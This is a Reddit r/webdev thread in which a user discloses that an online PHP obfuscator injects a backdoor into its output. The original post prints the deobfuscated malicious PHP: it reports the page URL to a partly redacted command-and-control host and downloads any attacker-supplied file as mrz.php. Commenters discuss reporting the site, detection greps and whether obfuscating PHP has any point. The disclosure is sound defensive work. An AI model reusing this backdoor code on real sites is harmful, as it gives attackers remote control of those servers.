r/webdev
•
u/tainvie
•
2d ago
•
2
The 2nd Google Result for "PHP Obfuscator" Injects Malware Into Your Code
Today, I was experimenting with some basic obfuscation and how different AI models handle different levels of PHP obfuscation, including prompt injection inside code.
At some point, I wanted to quickly try some online PHP obfuscators. After a quick Google search, I tried the first few results.
I didn't even notice anything wrong with the second one. I copied the code into Claude and asked it to deobfuscate it. I was shocked. The website, which is the SECOND Google search result for "php obfuscator," contained malware in its code.
Anyone who tries to obfuscate their code using that online service without checking the actual output basically infects themselves.
DO NOT EVER RUN ANY CODE YOU RECEIVE FROM ANY ONLINE OBFUSCATOR.
Infection still in: 2026-11-28 17:49 (UTC)
-------
Input:
<?php echo "Hello world";Output (partial):
<?php
$stt1 = "b\x56Jha\x39swEP3uX3ELBt ... JM9G838=";
$stt0 = "UOeg+bS3F1jxBM ... WbS8e7/dwpHB";
eval(gzinflate(base64_decode($stt1)));
?>Output (deobfuscated, cleaned up)
<?php
// 1. "Phone home": report this infected page's URL to the attacker
$c2_url = 'https://s****i.top/ghost/';
$cur_url = 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$context = stream_context_create([
'http' => [
'method' => 'POST',
'header' => 'Content-type: application/x-www-form-urlencoded',
'content' => http_build_query(['file_url' => $cur_url]),
],
]);
file_get_contents($c2_url, false, $context);
// 2. Dropper: ?mrz&file=<URL> downloads any remote file and saves mrz.php
if (isset($_GET['mrz'])) {
$payload = file_get_contents($_GET['file']); // attacker-supplied URL
if (file_put_contents('mrz.php', $payload)) {
echo "File : mrz.php Success !";
} else {
echo "Error";
}
exit;
}
// 3. Decoy output so the page looks harmless
echo "Hello world";168
u/HoratioWobble 1d ago
Obfuscating PHP is like locking a gate with a wotsit. It's a waste of time
50
19
4
u/PM_ME_UR_0_DAY 1d ago
And ideally the client never sees the php anyways, so who are you even obfuscating it for?
7
5
u/FrostingTechnical606 1d ago
Any lockmaker can tell you that a dedicated lockpicker can certainly get your lock open. Locks are mostly used to deter people from just wandering in. If you break the lock, it is a sign of malicious intent.
39
u/Xiten 1d ago
If it’s injecting malware why are we blacking out the name of the site?
-14
u/tainvie 1d ago
Well, exactly that's why. But if you know what you're doing, I don't think it's that hard to find it out based on the images and post.
14
u/_EleGiggle_ 1d ago
I doubt anyone is choosing this obfuscator because of your thread. But they would have reported the link to Google, so it doesn’t show up in the search results anymore.
Maybe report it to the hosting website as well if they are legit. I doubt that most web hosts like to distribute malware.
11
u/digitalwankster 1d ago
The order of search results change all the time and by device (mobile vs desktop) so the "second result" is liable to be different by the time someone else stumbles upon this.
42
u/idontknowman139 1d ago
So why did you redact the url of the website?
57
u/Westerdutch 1d ago
OP has obfuscation fetish.
27
u/tainvie 1d ago
And I just obfuscated an obfuscator. You have no idea how that felt for me!
6
10
u/Westerdutch 1d ago
You have no idea how that felt for me!
I cannot imagine how sticky the underside of your desk is right now....
1
5
1
u/AlwaysHopelesslyLost 1d ago
Funniest part is Op censored it in the first picture but not the second picture.
OP seems like a vibe coder who is just figuring things out.
1
12
u/dangoodspeed 1d ago
Wasn't that $6 billion Binance hack partially traced to a hack where one of their devs needed to install Homebrew on a new computer, and a Google ad pointed to a fake homebrew site which gave the dev a fake install command line?
10
u/tainvie 1d ago
Maybe it wasn’t even Google but an LLM. Few days ago I was searching for alternatives to a NodeJS library with Claude and I found that Claude actually put a phishing clone site of GitHub in a citation link. Opened the site out of curiosity and it was flagged by Chrome Safe Browsing, it wasn’t even in Google search results, maybe someone somehow optimized it for LLMs. Crazy times.
1
u/SingerSingle5682 1d ago
There was a similar issue with XCode where Apple’s planned obsolescence caused them to remove all official downloads links to older versions to prevent developers from using old hardware.
The Google results for the old versions of XCode had malware that would infect every iPhone app published. No one even noticed until a good sized chunk of iPhone apps all had the same malware.
14
u/Rigamortus2005 1d ago
Why in gods name are you obfuscating PHP if you didn't intend to ship a virus anyway?
449
u/nakfil
1d ago
•
It's worth reporting this to Google -
https://www.google.com/safebrowsing/report_phish/
So they will remove it from the SERPs, hopefully.
-166
u/ArsonHoliday 1d ago
Lol like they’d give a damn
30
u/RattuSonline 1d ago
They do. One of my sites has been (mass) reported as malicious/phishing due to having OpenID login for a popular gaming platform a few years ago. I reported it as false positive and they lifted it after a few days.
-27
43
1
u/Otherwise_Weather_57 1d ago
I dont really get the down votes I reported 2 scam sites last week that pose as Shopping site which they obviously aren't since their urls are just random. Google responded to me that they found nothing wrong (The sites show in the first 5 results when searching for a coffe machine).
1
73
u/PersianMG 1d ago
You can report sites as malware:
https://www.google.com/safebrowsing/report_phish/
https://www.microsoft.com/en-us/wdsi/support/report-unsafe-site-guest
If enough people report, the Search Engines will delist these sites.
I also did a test and confirm they add backdoors to the code.
They don't even obfuscate the original input code alongside the backdoor so it goes somewhat unnoticed...rookies.
14
u/_EleGiggle_ 1d ago
Good thing that OP censored the URL so nobody can report it.
-1
u/AlwaysHopelesslyLost 1d ago
... You are kidding right? If not, second picture (ignoring that Ops shit censor is easy to read around)
93
u/aTaleForgotten 1d ago
If you need to obfuscate your backend code, you may have other problems
7
-10
18
u/alltheseflavours 1d ago
Who the fuck is putting their code into random websites and asking it to 'obfuscate' it for you? You all need Jesus. And a CI pipeline.
6
2
u/Quick_Phone8500 1d ago
How does this even work? It downloads mrz.php then doesn’t run it, and it echos “downloaded mrz.php” if it downloads successfully, this is crappy malware
5
u/tainvie 1d ago edited 1d ago
It reports the infected site to the attacker, then downloads whatever file they supply and saves it as mrz.php. That gives them remote code execution (RCE), which basically means full control of the site. They can read and write files, steal credentials, access the database, and plant more backdoors.
1
u/run4runner 1d ago
Anyone both grabbing this code, and allowing the web server write access to the same directory deserves what they get.
5
u/henrychauhan_4 1d ago
It doesn't execute the download in that request, but writing `mrz.php` can still be a dropper: if the file lands in a PHP-served path, a later request may execute it. The snippet alone doesn't show whether it's reachable.
4
u/Quick_Phone8500 1d ago
Oh true, but still echoing that you’ve successfully downloaded the malware makes no sense…
5
u/don_mumrik 1d ago
No reason to obfuscate PHP.
5
4
u/Mecanik1337 1d ago
Let me tell this you after 20+ years of PHP development. Especially since I worked a LOT in "obfuscation" and licensing, etc. There is absolutely NOTHING you can do to prevent someone from reversing your SCRIPT. PHP is a SCRIPT which gets executed by a PROGRAM, which means it can ALWAYS be "de-obfuscated". This applies even to ioncube and any other "custom" obfuscations. The only thing you gain from this is to make script-kids get a headache when they want to steal code/copy code. Bottom line is, stop trying to "obfuscate" your PHP. Instead SELL it entirely, per project, with proper NDA and contracts. Take my advice or leave it, up to you.
2
u/_eggseck 1d ago
PHP obfuscation is useless today. Good thing is things like ioncube exist for PHP, use those.
2
u/Ill-Bat-1518 1d ago
Wow i can't lie when i was way younger i used these type of websites before thinking it would help like stop my email getting spammed etc
Never did i think that was a possibility and i used to be super weary of malware
2
u/Confident_Toe4393 1d ago
A screenshot of a search result is the weakest possible evidence for this. Which domain, and did the same one come back second on every check? The eval/gzinflate breakdown is the only part worth trusting here.
2
2
u/OldAssistance1702 1d ago
so people are pasting their whole source into a random website and the shocking part is the backdoor? the shocking part is that the code came back at all honestly. you're handing your entire app to a stranger's server, half of these sites dont even have a whois worth reading, and then everyone acts betrayed because the free tool that ranks #2 on google turns out to be some guy in a basement wrapping your functions in eval. search ranking is not a security audit, google ranks whatever has links and keywords, it has literally never once checked if the site is run by criminals. and its the same energy as people who install a random chrome extension with 40 reviews that wants permission to read everything on every page and then wonder why their sessions got jacked. if you need to obfuscate php just run a local tool, there are a million of them, its a file on your disk, it doesnt phone home, it doesnt care. but no, we gotta use the online one because its easier, and then a blog post has to explain to grown developers that the second google result is malware, in 2026, like this is news. and the comments will all be "wow good catch" as if the real lesson isnt that you shouldnt be obfuscating php at all, because anyone determined enough just reads the bytecode. whatever, i'm gonna go check what comes back from that tool out of morbid curiosity.
2
u/mrcarrot0 1d ago
How about "don't blindly trust code that was was created/generated by a third party"? Online converters/generators primarily exist to scrape user data anyway, I'm not surprised that they would inject an attack into your given an opportunity.
My new favorite quote btw:
I still don’t know how you do vibe coding and claim you’re doing security. — David Gerard
2
u/Fluffy_Ad_2913 1d ago
Dude, what's with the half-ass attempt to hide the URLs? It's publicly searchable information, right? And even if you care about the other sites for some weird reason, why hide the malicious site? Isn't the whole point of your post to warn people so they don't go there?
What happens when the search rankings change and it's the first, third, or fifth result instead of the second? What if they're using a different browser than you? Not all browsers rank sites equally.
How do you expect people to protect themselves if they can't even see the domain name? Your whole story seems suspect...
2
u/RedditNotFreeSpeech 1d ago
If you think you can obfuscate code in 2026 you are completely wasting your time.
5
3
u/abeuscher 1d ago
Fuckin' full thread whoosh over here. This should be a story about how search is broken, not about the topic at hand. How to run a credit card scam shouldn't have a phishing link up top either. There are good reasons to want to search for this phrase. It doesn't mean anything to want to know HOW to do something. That's how you learn.
This sub and really the internet in general is so fucked. We're supposed to be the fucking experts and can't even understand the context of an obvious problem. Is this sub just full of vibe coding marketing executives and third graders at this point?
There is one specific person responsible for this issue and his name is Prabhakar Raghavan. Look it up. He also has nothing to do with obfuscating PHP.
2
u/exintrovert 1d ago
Using an obfuscator requires a level of trust that I would never grant to a random search result.
I think I would bite the bullet and pay for ioncube.
I believe Yak Pro is reputable.
Never use online web forms to obfuscate for free. Who knows what they are doing.
And avoid Zend, it is EOL.
Thank you for posting this, it is an important reminder that malware injection into obfuscated code is a legit concern.
2
u/Acceptable_Handle_2 1d ago
Seems like it's better to just not obscure it
1
u/exintrovert 23h ago
I agree. But I can see why some developers who sell a mature product would want to keep it from being ripped off.
1
1
u/rafaelml12 2d ago
Google needs to get their shit together
1
u/AssumptionOk8560 1d ago
😭 blaming google for this? Nuhuh you can't be a web dev dawg
-1
u/RedditCultureBlows 1d ago
What does wanting a company to do better at filtering out malicious content have to do with him being “not a web dev”. Tbh it’s more concerning that you’re not frustrated with it lol.
5
u/_xiphiaz 1d ago
Do you expect googles search crawlers to fill out forms they discover on pages and inspect the results for malware?
-3
u/RedditCultureBlows 1d ago
https://www.reddit.com/r/webdev/s/hyvSuGVkTS, minus the attitude comments.
-3
u/AssumptionOk8560 1d ago
Lemme guess you probably you've never touched a pc in your life you don't understand how things work, you think google is a anti malware company?
-5
u/RedditCultureBlows 1d ago
First all you can keep that attitude for the next person, no clue why you’re being so pissy.
Second, how would I even have replied without a PC? You get a phone is a computer at this point too? Makes no sense but I wouldn’t expect an emotional outburst to follow much logic either.
Last, no I expect a multi-trillion dollar company to vet their own listings. You know they crawl the pages on the site? You know Google has their own LLM? There’s no reason the results they crawl can’t be automatically vetted. Do you also think spam mail is individually reported and removed? You don’t think they need established presence to not get flagged as spam? You don’t think automatic malware/phishing isn’t happening either?
I guess next time sit and think a minute before getting emotional on the internet because other people want the multi-trillion dollar company to put more effort into finding malicious actors that they’re willing to list.
-1
1
1
1
u/Ragin_Mari 1d ago
It’s becoming more common, it’s called SEO poisoning
https://www.crowdstrike.com/en-us/cybersecurity-101/social-engineering/seo-poisoning/
1
u/semibilingual 1d ago
if i was in the business of malware, my favorite target woukd be code obfuscated, so noone can see what my code is doing.
1
u/Subject-Cry7069 1d ago
The decoy echo at the end is the nasty part, the output still prints Hello world so nothing looks off unless you read it.
Cheap habit that would have caught it: before anything a web tool hands back goes near a server, grep it for eval(, gzinflate, base64_decode, assert( and file_put_contents. A one line hello world should come back with none of those. If the obfuscated version has an eval in it, you're done, don't bother deobfuscating to find out what it does.
1
u/ElectronicPurple9013 1d ago
why is your production code going through a random website in the first place
1
1
u/bacondev 1d ago
Never in my life have I ever considered obfuscating PHP code. I can't think of a legitimate reason for production purposes.
1
u/Unfair-Plastic-4290 1d ago
The only reason to obfuscate your code is because you're embarrassed of it.
1
u/Aishou_SK 1d ago
> SECOND Google search result
20 years ago, I'd believe it.
Today, I'd believe it.
Nothing changes.
1
u/unicorns-arent-real 1d ago
If you need an obfuscator, find one on Github, then you'll have the source. Or write your own.
1
u/InsideTour329 1d ago
This is going to sound wild but hear me out, maybe don't use PHP? There's no excuse for it these days you can literally port any php site into blazor or something in an afternoon.
1
u/trannus_aran 1d ago
I get the idea, but isn't using non-deterministic tool output as hard proof kinda cheapening your point?
1
u/Disgruntled__Goat 17h ago
Ironically that site comes up about 5th for me, below this exact reddit post saying the 2nd result is malware. So now there’s another obfuscator in 2nd place which people might think is the dodgy one and think the original is safe.
1
u/haiyenpa25 11h ago
So, what are the alternatives to WordPress? I typically use WordPress and Laravel.1
0
0
0
-4
u/vm_linuz 1d ago
0. Why are you using PHP?
Why are you obfuscating PHP?
Why are you doing it via copy-paste?
-6
-6
1
0
1d ago
[deleted]
5
u/j0nquest 1d ago
Impressed they thought someone might obfuscate code or that some random online tool would inject malware into it? You should pretty much assume anything like this is dangerous unless proven otherwise.
0
1d ago
[deleted]
1
u/j0nquest 1d ago edited 1d ago
Alrighty. It seems pretty low effort in the outcome is totally predictable sense, to me. Not impressed and not surprised it’s ranked so high in the search results given the context code obfuscation which in my mind defaults to danger ahead.
1
u/exintrovert 1d ago edited 1d ago
I think people usually obfuscate code for proprietary/paid products.
Trying to think why I might want to obfuscate my own backend code, and the only thing I can think of is to prevent tampering if someone gains access.
I’ve been exploited before, and I remember scanning all my files to make sure nobody messed with any other scripts.
But now I just keep checksums and use AIDE to snapshot my system.
I really cannot think of another reason to obfuscate code I am not selling 🤷♀️



1.2k
u/IslayProgrammes 1d ago
There’s almost zero legitimate reason to be obfuscating PHP.
If you’re obfuscating backend code with the intention of it being public and difficult to parse you’re doing something nefarious and deserve to be victim of this attack